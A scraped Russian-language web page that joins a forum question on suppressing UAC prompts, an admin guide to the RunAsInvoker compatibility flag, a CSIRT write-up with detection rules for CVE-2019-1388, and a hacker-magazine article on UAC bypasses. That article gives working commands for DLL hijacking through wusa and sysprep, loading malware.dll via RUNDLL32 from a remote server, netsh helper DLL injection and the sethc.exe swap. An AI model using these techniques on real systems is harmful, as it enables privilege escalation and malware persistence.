Как обойти окно uac powershell
Перейти к содержимому

Как обойти окно uac powershell

  • автор:

Powershell и uac

Подскажите, пожалуйста:
1. Можно ли убрать всплывающее окно uac без его отключения при использовании -verb. Для пример так:

powershell -verb runas -File c:\scripts\sct12.ps1

При его запуске вылезает всплывающее окно uac с просьбой подтвердить действие. После подтверждения скрипт отрабатывает корректно.
Может другой ключ есть? ОС Windows server 2012R2, но интересует для любой windows. UAC отключать не хочется, так как действие в скрипте может быть разовое. Я так понял, что только отключение uac.

2. Как скриптом изменить уровень uac для компьютера в рабочей группе. Я так понял что в сторону локальных политик безопасности надо лезть.

94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
Ответы с готовыми решениями:

Как заставить батник обойти UAC, не отключая службу UAC в целом
Добрый день, уважаемые программисты. Помогите решить проблему. Запускаю файл (через ярлык с.

Как заставить батник обойти UAC, не отключая службу UAC в целом
Господа помогите, нужно baat запустить от имени администратора, но это не работает потому как uac.

PowerShell vs PowerShell ISE
Скажите, пожалуйста, чем PowerShell отличается от PowerShell ISE. Спасибо.

UAC и С#
Пишу программу, которая должен запускать обычный юзер. Но там происходит запуск процесса из тойже.

Как отключить UAC для определенной программы в Windows 10?

date

30.11.2020

user

itpro

directory

Windows 10, Windows 7, Windows 8

comments

комментариев 36

В этой статье мы покажем, как выборочно отключить UAC для определенного приложения, не отключая полностью эту службу User Account Control. Рассмотрим несколько способов отключения контроля учетных записей для приложениия с помощью флага совместимости RunAsInvoker.

Система контроля учетных записей (User Account Control или UAC) запрашивает у пользователя подтверждение на выполнение любого действия, требующего прав администратора. Это довольно эффективный механизм защиты Windows от различных угроз (вирусы, трояны, черви, руткиты и т.п). Некоторый пользователей раздражает окно UAC и они полностью отключают контроль учетных записей, хотя Microsoft и специалисты в области ИБ категорически не рекомендуют делать это.

Флаг RunAsInvoker позволяет запустить приложение с маркером, унаследованным от родительского процесса. При этом отменяется обработка манифеста приложения, и обнаружение процессов установщика. Данный параметр не предоставляет права администратора, а только блокирует появление окна UAC.

Если программа требует прав администратора для запуска, т.к. меняет настройки системы или системные файлы, то при отключении UAC для нее привилегии пользователя в приложении не повышаются. Программа все равно будет запускаться с правами текущего пользователя и, если у нет полномочий на эти изменения, программа не сможет их внести. Также есть небольшое количество приложений, которые запускаются только в режиме “As administrator”, игнорирующие флаг совместимости RunAsInvoker.

В качестве примера мы отключим появление запроса User Account Control для редактора реестра (regedit.exe). Несмотря на то, что у моей учетной записи есть права администратора, при запуске утилиты все равно появляется запрос UAC на подтверждение запуска.

uac запрос при запуске приложенния

Отключение UAC для программы с помощью Application Compatibility Toolkit

Нам понадобится утилита Application Compatibility Toolkit, которая входит в состав Windows ADK. Скачать актуальную версию Windows ADK для Windows 10 можно здесь.

Запустите скачанный файл adksetup.exe и при установке (программе нужен доступ в Интернет) выберите только Application Compatibility Toolkit.

Примечание. Пакет Microsoft Application Compatibility Toolkit – бесплатный набор утилит, предназначенный для устранения проблем совместимости приложений при переходе на новые версии Windows.

установка Application Compatibility Toolkit

В системе появится две версии Application Compatibility Administrator — 32-х и 64-х битная версия. Запустите версию Application Compatibility Administrator в зависимости от разрядности приложения, для которого вы хотите подавить запрос UAC.

Application Compatibility Administrator

Запустите утилиту Compatibility Administrator (32-bit) с правами администратора (!). В разделе Custom Databases, щелкните ПКМ по элементу New Database и выберите пункт Create New-> Application Fix.

create application fix

В открывшемся окне нужно указать имя приложения (regedit), производителя (Microsoft) и путь к исполняемому файлу ( C:\Windows\regedit.exe ).

создать файл совместимости для приложения

Пропустите следующее окно мастера настройки (Compatibility Mode), нажав Next. В окне Compatibility Fixes отметьте опцию RunAsInvoker.

При желании можно убедиться, что приложение может работать без UAC, нажав на кнопку тестового запуска (Test Run).

compatibility fix - RunAsInvoker

В окне Matching Information вы можете указать какие параметры приложения нужно проверять (версию, чексумму, размер и т.д.). Я оставил включенными проверки COMPANY_NAME,PRODUCT_NAME и ORIGINAL_FILENAME, чтобы не пересоздавать файл исправления после очередного обновления Windows 10 и обновлении версии файла regedit.

Matching Information

Совет. Для защиты от подмены исполняемого файла злоумышленником желательно использовать проверку по checksum, file_version и size. Отметим, что дополнительные проверки будут несколько замедлять запуск приложения.

сохранить sdb файл

Нажмите Finish и укажите имя файла, в который нужно сохранить созданный пакет исправления совместимости, например regedit.sdb. В этом файле будут содержаться инструкции по запуску приложения с заданными опциями совместимости.

установить compatibility pack

Осталось применить пакет с исправлением совместимости к вашему приложению. Сделать это можно непосредственно из консоли Compatibility Administrator (выбрав в меню пункт Install), либо из командной строки.

sdbinst -q c:\ps\regedit.sdb

Если все сделали правильно, появится сообщение об успешном применении пакета.

Installation of regedit complete.

sdbinst

После установки пакета, соответствующая запись появится в списке установленных программ Windows (Programs and Features).

sdb файл в установленных приложениях

Попробуйте теперь запустить приложение в сессии пользователя без прав локального администратора. Теперь оно должно запуститься без появления запроса UAC.

Теперь проверьте, с какими привилегиями запущено данное приложение. Для этого в Task Manager на вкладке процессов добавьте столбец “Elevated”. Убедитесь, что процесс regedit.exe запущен от пользователя в непривилегированном режиме ( Elevated=No ).

запуск regedit.exe под обычным пользователем - elevated = no

В таком процесс редактора реестра пользователь может редактировать только собственные ветки реестра, но при попытке отредактировать/создать что-то в системной HKLM, появляется ошибка “You don’t have the requisite permissions”.

у пользователя нет прав на модификацию реестра

В дальнейшем это исправление совместимости можно распространить на компьютеры пользователей с помощью групповых политик. Тем самым можно добиться отключения проверки системы контроля учетных записей (UAC) для определенных приложений на множестве компьютеров в домене Active Directory.

Чтобы удалить исправление совместимости, выполните команду

sdbinst –u c:\ps\regedit.sdb

Включить флаг RUNASINVOKER для программы через реестр

В Windows 10/8.1/7 вы можете включить флаг совместимости RUNASINVOKER через реестр. Флаг совместимости приложения можно выставить для одного пользователя или для всех пользователей компьютера:

Например, для regedit нужно в ветке реестра HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers создать новый строковый параметр (REG_SZ) вида:

  • Value name: C:\windows\regedit.exe
  • Value data: RunAsInvoker

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers RunAsInvoker

Если нужно включить режим совместимости приложения для всех пользователей компьютера, этот параметр нужно создать в ветке реестра: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers.

Bat файл для запуска приложения в режиме RunAsInvoker

Есть еще вариант для запуск приложения без прав администратора и подавлением запроса UAC (см. статью).

Просто создайте bat файл со следующим кодом:

Set ApplicationPath=»C:\windows\regedit.exe»
cmd /min /C «set __COMPAT_LAYER=RUNASINVOKER && start «» %ApplicationPath%»

bat файл с параметром RUNASINVOKER

При запуске этого bat файла под пользователем, указанное приложение запустится без появления запроса UAC.

Итак, мы рассмотрели, как отключить UAC для конкретной программы без полного отключения контроля учетных записей. Это позволит вам запускать программы Windows под обычным пользователем без появления запроса UAC и без пароля администратора.

Предыдущая статьяПредыдущая статья Следующая статья Следующая статья

Windows UAC не перестаёт удивлять, или Как обнаружить инсайдера

image

Всем привет! Уверен, что вы наслышаны о недочетах технологии Windows UAC, однако относительно недавно появились подробности любопытной уязвимости, эксплуатация которой дает возможность непривилегированному пользователю максимально повысить привилегии. В Jet CSIRT мы не оставили этот случай без внимания, ведь для любой команды мониторинга и реагирования на инциденты ИБ уязвимости класса Privilege Escalation представляют особый интерес. Под катом — описание уязвимости, способы детекта и защиты.

Детали уязвимости

Исследователь Eduardo Braun Prado из команды Zero Day Initiative обнаружил уязвимость локального повышения привилегий в компоненте Windows Certificate Dialog, которая возникает из-за некорректной обработки пользовательских привилегий. Уязвимость позволяет повысить привилегии пользователя до максимально возможных SYSTEM и обойти все защитные механизмы ОС Windows. Это происходит при эксплуатации механизма Windows UAC, когда пользователь взаимодействует с компонентом Безопасного рабочего стола (Secure Desktop), открыв диалог запуска файла от имени Администратора.

image

В чем суть уязвимости? Сертификат исполняемого файла содержит необязательное численное поле «Идентификатор политики» в формате Microsoft-specific object identifier (OID).

image

Заголовочный файл Wintrust.h определяет это поле как SPC_SP_AGENCY_INFO_OBJID. Хотя его назначение слабо документировано, скорее всего, оно анализируется при открытии окна с деталями сертификата. При представлении данного поля в корректном формате поле Issued by («Кем выдано») будет отображено в виде гиперссылки со значением, взятым из атрибута SpcSpAgencyInfo.

image

При клике по ссылке c полем Issued by откроется браузер Internet Explorer с правами SYSTEM. Родительским процессом для него будет выступать процесс consent.exe. Он также выполняется с максимальными привилегиями, и именно в его контексте запускается диалог UAC. Соответственно, далее появляется возможность запуска произвольного файла (cmd.exe, powershell.exe) из меню браузера с унаследованными правами SYSTEM.

image

В качестве PoC для демонстрации эксплуатации уязвимости (видео приведено ниже) исследователь предложил использовать утилиту HTML Help ActiveX Control, сертификат которой обладает описанными выше особенностями.

При этом существует возможность подписать любой исполняемый файл подобным образом, например, с помощью powershell командлета Set-AuthenticodeSignature. Предварительно потребуется создать самоподписанный сертификат корневого удостоверяющего центра и конечный сертификат средствами утилиты makecert из набора Windows SDK. Инструкция приведена по ссылке.

Уязвимость получила идентификатор CVE-2019-1388 и CVSS 7.8. Ей оказались подвержены все версии ОС от Windows 7 до Windows Server 2019. После установки патча поле Issued by в деталях сертификата перестает отображаться как гиперссылка.

Массовая эксплуатация этой уязвимости маловероятна ввиду трудности автоматизации. Ведь для реализации атаки на ее основе пользователю потребуется выполнить немало действий — от открытия окна с сертификатом исполняемого файла до запуска командной строки через интерфейс Internet Explorer. Поэтому наиболее вероятный сценарий атаки может быть связан с действиями внутреннего нарушителя.

Как обнаружить

Для обнаружения эксплуатации уязвимости на платформах Windows x64 мы в Jet CSIRT используем в SIEM-системе правило корреляции, отслеживающее цепочку событий (на контролируемом узле предварительно необходимо включить аудит запуска процессов посредством соответствующей групповой политики либо использовать утилиту Sysmon от Sysinternals):

  1. Детектирование запуска процесса constent.exe с правами SYSTEM (код события 4688).
  2. Детектирование запуска процесса C:\Program Files\iexplore.exe с правами SYSTEM, где в качестве родительского процесса выступает consent.exe.
  3. Детектирование запуска процесса C:\Program Files (x86)\iexplore.exe с правами SYSTEM, где в качестве родительского процесса выступает C:\Program Files\iexplore.exe.

image


Детектирование запуска командного интерпретатора (cmd.exe, powershell.exe) с правами SYSTEM, где в качестве родительского процесса выступает C:\Program Files (x86)\iexplore.exe.

image

  • ID процесса C:\Program Files (x86)\iexplore.exe из п.3 и ID C:\Program Files (x86)\iexplore.exe в качестве родительского процесса из предыдущего пункта совпадают.
  • Приведем пример описанного корреляционного правила на стороне FortiSIEM.

    Детализация условия запуска consent.exe

    Детализация условия запуска IEx64

    Детализация условия запуска IEx86

    Детализация условия запуска cmd.exe, powershell.exe

    Исходный код корреляционного правила FortiSIEM

     UAC Privilege Escalation through Secure Desktop Повышение привилегий через UAC Secure Desktop CVE-2019-1388  1   eventType = "Win-Security-4688" AND procName CONTAIN "consent.exe" AND user IN ("СИСТЕМА","SYSTEM") COUNT(*) >= 1 user,procName   eventType = "Win-Security-4688" AND procName REGEXP (".*Files\\\\Internet.*\\\\iexplore\\.exe$") AND parentProcName CONTAIN "consent.exe" OR user IN ("СИСТЕМА","SYSTEM") COUNT(*) >= 1 procId,user,parentProcName,procName   eventId = 4688 AND procName REGEXP (".*\\(x86\\)\\\\.*\\\\iexplore\\.exe$") AND parentProcName REGEXP (".*Files\\\\Internet.*\\\\iexplore\\.exe$") AND user IN ("СИСТЕМА","SYSTEM") COUNT(*) >= 1 procName,parentProcName,procId,user   eventType = "Win-Security-4688" AND ( procName CONTAIN "cmd.exe" OR procName CONTAIN "powershell.exe" ) AND parentProcName REGEXP (".*\\(x86\\)\\\\.*\\\\iexplore\\.exe$") AND user IN ("СИСТЕМА","SYSTEM") COUNT(*) >= 1 user,parentProcName,procName,parentProcId  IE_x86_Execution.procId = Cmd_Execution.parentProcId  procName=Cmd_Execution.procName,parentProcName=Cmd_Execution.parentProcName,user=Cmd_Execution.user   phRecvTime,eventType,reptDevName,reptDevIpAddr,destIpAddr,destName,user,parentProcId,parentProcName,procId,procName,rawEventMsg    

    Исследователь Florian Roth выложил Sigma-правило для обнаружения попытки эксплуатации данной уязвимости. Однако из-за ограничений языка с помощью правила можно выявлять только событие запуска Internet Explorer с правами SYSTEM и родительским процессом consent.exe без последующего детектирования запуска командных интерпретаторов. Отследить цепочку нужных событий при соблюдении описанных выше условий (1-5) средствами Sigma не представляется возможным, из-за чего мы вынуждены были разработать собственное правило.

    Как защититься

    1. Установить патч Microsoft от 12 ноября для соответствующей версии ОС.

    2. Если патч для устранения данной уязвимости установить нельзя, стоит воспользоваться:

    • правилами AppLocker, запрещающими запуск командных интерпретаторов cmd.exe и powershell.exe для учетных записей, входящих в группу «Пользователи» (необходимо учесть утилиты и техники, позволяющие обойти AppLocker, перечисленные в LOLBINS);
    • средствами host-based IPS в составе систем класса EPP, EDR (нужно настроить правила доступа, запрещающие процессу iexplore.exe обращение к cmd.exe, powershell.exe).
    • JET CSIRT
    • повышение привилегий
    • обход UAC

    FUCK UAC! 10 способов обхода системы User Account Control в Windows

    В каждой версии Windows (начиная с Vista) есть стандартный компонент UAC (User Account Control). Он включен по умолчанию и не дает пользователю «выстрелить себе в ногу», запустив какую-нибудь малварь с правами админа. В этой статье мы расскажем, как использовать «контроль учетных записей» в своих целях — например, запустить любой код с правами администратора или даже как системный процесс.

    WARNING

    Вся информация приводится исключительно в ознакомительных целях! Microsoft рекомендует патчить винду вовремя, не работать в админской учетке без реальной необходимости, не обходить UAC и не донимать техподдержку сообщениями об уязвимостях.

    Методы обхода UAC продолжают находить и сейчас, модифицируя старые приемы и открывая новые. Самое сложное — подобрать подходящие способы для конкретной атакуемой системы. Концептуально разных приемов известно с десяток, а если считать их вместе с модификациями и гибридными способами, то наберется больше двадцати. Прочитать о них подробнее и посмотреть соответствующие примеры кода на GitHub можно по ссылкам в этой статье.

    UAC как огромный баг

    В хакерской философии многое заимствовано из боевых искусств. Например, мастер айкидо практически не атакует сам. Он лишь подмечает ошибки соперника и обращает его усилия против него самого. Так же и просчеты в защитных системах позволяют превратить их в хакерский инструмент. Сейчас мы разберем несколько способов обхода UAC и даже его использования для запуска своего кода с повышенными привилегиями. Многие из этих методов уже реализованы в троянах и позволяют им скрытно внедряться в систему.

    Белый список для черных шляп

    Во всех версиях Windows для UAC существует так называемый белый список — набор системных компонентов, для которых не применяются ограничивающие правила. Поэтому один из самых распространенных методов атаки сводится к попытке найти любые приложения из белого списка и попытаться внедрить в них свою *.dll.

    Провести атаку типа DLL hijack сравнительно просто, хотя и здесь не обходится без подводных камней. Они свои в каждой версии ОС, а также зависят от настроек, учетной записи, разрядности ОС, установленных компонентов и патчей.

    Например, в Windows 7/8 (но не 8.1) можно использовать штатную программу подготовки системы к развертыванию sysprep.exe , чтобы подгрузить свою версию cryptbase.dll или другой библиотеки. Для этого достаточно поместить ее рядом с экзешником, поскольку он начинает искать и подгружать DLL’ки из своего каталога. Однако при попытке просто скопировать свой файл в каталог %systemroot%/system32/sysprep/ мы получим сообщение об ошибке.

    Доступ в \system32\ запрещен

    Другие статьи в выпуске:

    Xakep #213. FUCK UAC

    • Содержание выпуска
    • Подписка на «Хакер» -60%

    У пользователя нет прав доступа на запись в системный каталог, а администратор должен подтвердить это действие через UAC. Чтобы наш код получил необходимые права без лишних вопросов, используем другой трюк — с автономным установщиком обновлений Windows.

    Поместим cryptbase.dll в архив CAB. Не будем останавливаться на том, как сделать эту элементарную операцию. Она подробно описана на сайте Microsoft. Пусть наша библиотека называется evil.dll и находится в каталоге \FCKUAC на диске C:\ . Тогда следующей командой мы сделаем «заряженный» архив:

    makecab C:\FCKUAC\evil.dll C:\FCKUAC\evil.cab

    Архив с нашей библиотекой

    Скормим этот архив автономному установщику обновлений (Windows Update Standalone Installer).

    wusa C:\FCKUAC\evil.cab /quite /extract:%systemroot%\system32\sysprep\

    Он распакует его в \system32\sysprep\ , а «контроль учетных записей» будет молчать.

    Утилита sysprep как встроенный бэкдор

    Если умеешь программировать, то можешь запустить sysprep.exe скрыто — например, через CreateProcess() с флагом StartupInfo.wShowWindow = SW_HIDE . На скрытые окна сегодня ругаются эвристические анализаторы многих антивирусов, но сейчас мы говорим только про UAC — ему все равно. После такого запуска sysprep.exe попытается загрузить и выполнить библиотеку CRYPTBASE.dll , но на ее месте окажется наша, уже содержащая нужную нам функциональность. Она совершенно легально поднимет права нашему коду, и UAC примет это как должное.

    Это происходит потому, что wusa и sysprep находятся в белом списке, а все приложения из этого списка могут поднимать себе права без участия UAC. Наш же код из подгружаемой установщиком библиотеки унаследует права родительского процесса sysprep.exe и также будет считаться доверенным.

    Использование sysprep для обхода UAC

    Рассмотренный выше трюк совместного использования wusa и sysprep представляет собой модифицированный метод Лео Дэвидсона (Leo Davidson). Исходный вариант был применим только к непропатченной Windows 7 и был описан еще в 2009 году в рассылке компьютерного сообщества Оксфордского университета. Копия приводится на его сайте, который из-за обилия подобного кода внесен в списки потенциально опасных.

    Метод Дэвидсона в различных модификациях уже много лет используется для внедрения троянов, особенно семейства Win32/Carberp. Пик эпидемии пришелся на осень 2011 года, но способ до сих пор работает в следующем типичном сценарии: действия выполняются в 32-битной версии Windows 7/8 под учетной записью администратора при включенном UAC с настройками по умолчанию. Простому пользователю нельзя запускать wusa.exe , но многие до сих пор сидят под админом без реальной необходимости. Просто им лень создавать пользовательские учетки и управлять правами доступа даже через встроенные средства.

    Мэтт Грэбер (Matt Graeber) уточняет, что данный метод не работает «как есть» в Windows 8.1/10, поскольку в этих ОС изменены как sysprep.exe , так и сам UAC. Теперь программа подготовки системы к развертыванию загружает DLL только из %windir%\system32\ .

    Автоматическое повышение привилегий

    Если по каким-то причинам доступа к установщику обновлений нет, то можно использовать другой вариант — копирование файла в системный каталог методом IFileOperation .

    Суть метода в том, что для обхода UAC в нашей библиотеке создается COM-объект IFileOperation . Он позволяет скопировать файл куда угодно (в том числе в системную директорию \system32\ и ее подкаталоги), автоматически повышая для этого привилегии, так как функция будет иметь флаг auto-elevate .

    Вот пример использования объекта IFileOperation для копирования файла в системный каталог.

    Метод внедрения своей библиотеки в процесс explorer.exe рассматривается в этом примере.

    Список приложений из белого списка можно посмотреть тут. Также его можно сгенерировать самому, просто найдя в системном каталоге Windows экзешники, содержащие строку autoelevate .

    Создаем список программ из белого списка UAC

    В зависимости от используемой программы из белого списка и версии Windows можно подменить ту или иную библиотеку (см. таблицу).

    Стандартные компоненты и подменяемые библиотеки

    Методы перебора этих вариантов собраны в одну PowerShell-утилиту.

    ISecurityEditor

    Удивительно, что большинство методов обхода «контроля учетных записей» были умышленно заложены самими разработчиками Windows. Провал «Висты» маркетологи связали с неудобным поведением нового компонента, и в «семерке» UAC постарались сделать менее назойливым. Для этого пришлось делать костыли из белого списка и метода автоматического повышения привилегий (без подтверждения пользователем) у сорока с лишним системных программ. К функции autoElevate были написаны COM-интерфейсы: документированный IFileOperation (который разбирался выше) и недокументированный ISecurityEditor, об использовании которого мы поговорим сейчас.

    Благодаря встроенным в UAC бэкдорам компьютеры с Windows 7 заражались незаметно для пользователя. Они становились полигоном для малвари и частенько попадали в ботнеты. Один из них (под названием Simda) успешно развивался на протяжении пяти лет, используя для внедрения кода интерфейс ISecurityEditor. В Microsoft проблему частично устранили лишь в 2015 году. Исправленный ISecurityEditor стал работать только с объектами файловой системы, указанными в константе SE_FILE_OBJECT .

    Непропатченные системы встречаются до сих пор. Пример обхода UAC с использованием уязвимой версии ISecurityEditor приводится здесь.

    Метод системных заплаток

    Следующий способ обхода UAC был взят на вооружение хакерской группой Dridex. В нем используется метод системных заплаток (Shims), позволяющий запускать программы в режиме совместимости. В версиях Windows 7/8/8.1 этот встроенный компонент был реализован с ошибками. Одна из них заключалась в том, что можно создать собственную базу Shim DataBase, а в ней указать ссылку на свой файл как на «исправленную» версию системного файла из белого списка. Таким образом можно запускать произвольный код, и UAC будет молчать.

    INFO

    Некоторые методы обхода UAC используют внедрение своего кода в адресное пространство других процессов (в частности, системных), а способы такого инжекта отличаются для 32-битных и 64-разрядных версий Windows. Из-за ограничений самого инструмента Shim DataBase соответствующий метод работает только в 32-битных версиях Windows.

    Поэтапно схема от Dridex выглядела так:

    1. Троян ( *.exe ) создает собственную базу *.sdb, пакетный файл *.bat и свою копию.
    2. Троян использует команду sdbinst для установки созданной базы .sdb в систему: sdbinst.exe –q %temp%*.sdb
    3. Троян запускает утилиту командной строки iscsicli . iSCSI-инициатор получает указание из *.sdb о том, что для дальнейшей работы требуется запустить *.bat.
    4. Пакетный файл запускается как дочерний процесс и наследует административные привилегии.
    5. Аналогичным образом пакетный файл запускает копию трояна (созданную на первом шаге) и делегирует административные привилегии ей.

    Схожий метод обхода UAC использует и BackDoor.Gootkit. Сначала с помощью библиотеки apphelp.dll он создает в заражаемой системе свою базу данных Shim. В ней через функцию RedirectEXE он указывает, что для программы сетевого клиента SQL Server ( cliconfg.exe ) есть «исправленная» версия. В качестве «исправленного» файла записывается ссылка на компонент трояна. Поскольку в манифесте cliconfg.exe мы также можем увидеть знакомые строки AutoElevate=true, UAC позволяет ему загрузиться без лишних вопросов в Windows 7–8.1.

    Для работы с Shim DataBase есть готовый набор функций WinAPI в стандартной библиотеке apphelp.dll. Исходный код одной из реализаций метода Shim для обхода UAC приводится здесь.

    Методы использования Shim DataBase для обхода UAC подробно разбирались на конференции Black Hat 2015.

    Сборка бок о бок

    В Windows немало скрытых функций, и часть из них вполне можно считать бэкдорами. Например, доставшие еще с ранних версий NT конфликты между общими библиотеками в современных версиях Windows решаются при помощи технологии «сборки бок о бок» (Side-by-side Assembly — SxS). Все ресурсы для общего использования объединяются в сборку и размещаются в системном каталоге \WinSxS\ , который растет как на дрожжах.

    При каждой установке или обновлении программ и драйверов в него записывается новая сборка — подкаталог с уникальным (и длинным) именем, например таким: \wow64_microsoft-windows-powershell-exe_31bf3856ad364e35_6.1.7600.16385_none_cd5f9aad50446c26\ . В WinSxS всегда находятся десятки тысяч таких записей, и даже на SSD их список загружается несколько секунд. Поэтому Windows не спешит обращаться к этому репозиторию. Для ускорения работы многие стандартные компоненты делают иначе — создают копию нужных библиотек в своем временном подкаталоге общего вида *.local .

    Например, та же программа подготовки системы к развертыванию создает подкаталог %windir%\system32\sysprep.exe.local\ и, только если не найдет нужных компонентов там, обратится в %windir%\WinSxS\ .

    Диспетчер процессов показывает создание каталога .local

    Такое предсказуемое поведение дает нам еще один вектор атаки: можно создать каталог \sysprep.exe.local\ и поместить в него свою версию библиотеки. В данном случае это будет comctrl32.dll . Подходящее имя библиотеки можно узнать, посмотрев манифест программы sysprep.exe. На использование comctrl32.dll в нем указывает строка name=»Microsoft.Windows.Common-Controls» .

    В общем случае особенности работы с WinSxS и .local позволяют обойти UAC на многих версиях Windows — от 7 до 10.14955. Интересно, что сам «контроль учетных записей» подвержен той же самой уязвимости, от которой призван защищать. Мы можем не просто обойти UAC, а заставить его самого загрузить нашу библиотеку тем же методом. Однако тут есть своя особенность.

    Основная часть кода UAC запускается и работает из %windir%\system32\appinfo.dll . Сам UAC запускается как процесс consent.exe . Начиная с Windows 7 он импортирует из той же библиотеки comctrl32.dll функцию TaskDialogIndirect() . Казалось бы, можно создать \consent.exe.local\ и подсунуть UAC измененную библиотеку.

    В теории все верно, но на практике система часто зависает при попытке сделать такую подмену. Поэтому лучше сперва создать другой временный каталог (например, \consent.exe.tmp\ ), скопировать нашу DLL в него, а уже затем переименовать каталог в \consent.exe.local\ . Затем надо заставить UAC запустить новый процесс consent.exe . Для этого можно вызвать любой стандартный компонент, требующий повышенных привилегий. Например, «просмотр событий» — eventvwr.exe .

    После того как UAC загрузит подмененную библиотеку comctrl32.dll и выполнит вызов функции TaskDialogIndirect() , наш код запустится с правами системы. Как только ловушка сработала — самое время передать управление настоящей функции TaskDialogIndirect() , пока система не рухнула.

    Обход UAC во время тихой очистки диска

    Начиная с Windows 8.1, Microsoft стала активно фиксить накопившиеся баги в реализации UAC. Поэтому одни механизмы обхода «контроля учетных записей» пришлось модифицировать, а другие — попросту забыть. Windows 10 лишена многих недостатков, и старые трюки с ней обычно не прокатывают, но есть и новые!

    В планировщике задач Windows 10 по умолчанию включен сервис очистки диска — cleanmgr.exe . Он интересен нам тем, что может запускаться непривилегированными пользователями, но при этом сам имеет доступ ко всему диску. Через него даже простой юзер может получить доступ к системным каталогам и файлам. Если посмотреть настройки задачи SilentCleanup в планировщике, то мы увидим флаг Run with Highest Privileges .

    При запуске cleanmgr.exe создает во временном каталоге пользователя подкаталог с именем уникального 128-битного идентификатора (GUID) и копирует в него кучу библиотек. После этого он выполняет запуск DismHost.exe (все так же — с привилегиями высокого уровня), который подгружает эти библиотеки. Последней загружается LogProvider.dll, поэтому именно ее и стоит подменять своим кодом. Ключевая цель — успеть подменить библиотеку во временном каталоге пользователя после того, как ее запишет туда cleanmgr.exe , но раньше, чем ее загрузит DismHost.exe .

    В июле этого года Мэтт Грэбер (Matthew Graeber aka @mattifestation) и Мэтт Нельсон (Matt Nelson aka @enigma0x3) реализовали этот прием обхода UAC как PowerShell-скрипт.

    Сами авторы пишут, что метод работает со множеством ограничений. Он оказывается жизнеспособным только при запуске под админом в 32-разрядной ОС с настройками безопасности по умолчанию. Несмотря на великий соблазн, под юзером метод не работает, так как при таком запуске cleanmgr.exe не выполняет распаковку во временный каталог и в нем нечего подменять.

    Даже при соблюдении перечисленных выше условий эффект достигается лишь в том случае, если скрипт успеет подсунуть левую библиотеку во временный каталог до появления там оригинальной DLL и если подменяемая библиотека по своей архитектуре сходна с LogProvider.dll . Но никто ведь не обещал, что будет легко!

    Еще несколько лазеек в Windows

    Помимо распаковки DLL из архива CAB с помощью wusa , можно использовать и другие системные компоненты для копирования своих библиотек в системные каталоги. Например, можно отправить их на печать и сохранить как файлы через стандартный интерфейс принтера printui .

    Интерфейс принтера позволяет сохранить любой код как файл в системном каталоге

    При помощи ключа реестра в этой ветке можно задать запуск любой программы с правами администратора:

    HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers

    Запуск чего угодно от админа без подтверждения в UAC

    В домене UAC не реагирует на действия удаленного пользователя, если тот является локальным админом. Утилита PsExec Tool от Марка Руссиновича при старте с опцией –h скрыто запускает указанный экзешник на удаленной системе. Для повышения его привилегий на чужом компьютере может использоваться локально хранимый токен. Готовый эксплоит для этого также есть в Metasploit, а сам метод подробно разбирается здесь.

    Иногда удобен быстрый способ внедрения своего кода через RunDll. В общем случае для этого достаточно отправить команду

    RUNDLL32.EXE \\hack-server\malware.dll,RunMalwareFunc

    Тогда системный компонент Rundll.exe сам выкачает указанную библиотеку malware.dll с самба-сервера \\hack-server\ и вызовет встроенную в нее функцию RunMalwareFunc() .

    Еще одна утилита командной строки, помогающая тихо внедрить свой код, — сетевая оболочка netsh.exe . Для установки дополнительных DLL в ней есть встроенная функция add helper . Технически в качестве подгружаемой библиотеки можно указать не только модуль поддержки network shell, но и свою DLL — лишь бы в ней была соответствующая функция InitHelperDll().

    Поэтому, если выполнить команду

    netsh.exe add helper %temp%\malware.dll

    наша библиотека malware.dll зарегистрируется в ветке реестра HKLM\SOFTWARE\Microsoft\Netsh . Она будет загружаться с правами системы и сможет делегировать их дочерним процессам.

    Запускаем калькулятор как системный процесс

    Вспомним еще один старый трюк. Он позволяет запустить консоль с правами уровня системы еще до входа в Windows. Для этого достаточно заменить компонент «Специальные возможности» ( sethc.exe или utilman.exe — в зависимости от версии ОС) на копию командного процессора cmd.exe . После такой замены при клике на ярлыке «Специальные возможности» вместо них прямо поверх экрана приветствия откроется консоль с наивысшими привилегиями. Подробнее об этом и других методах обхода ограничений Windows читай в статье «Вскрываем Windows».

    Добавить комментарий

    Ваш адрес email не будет опубликован. Обязательные поля помечены *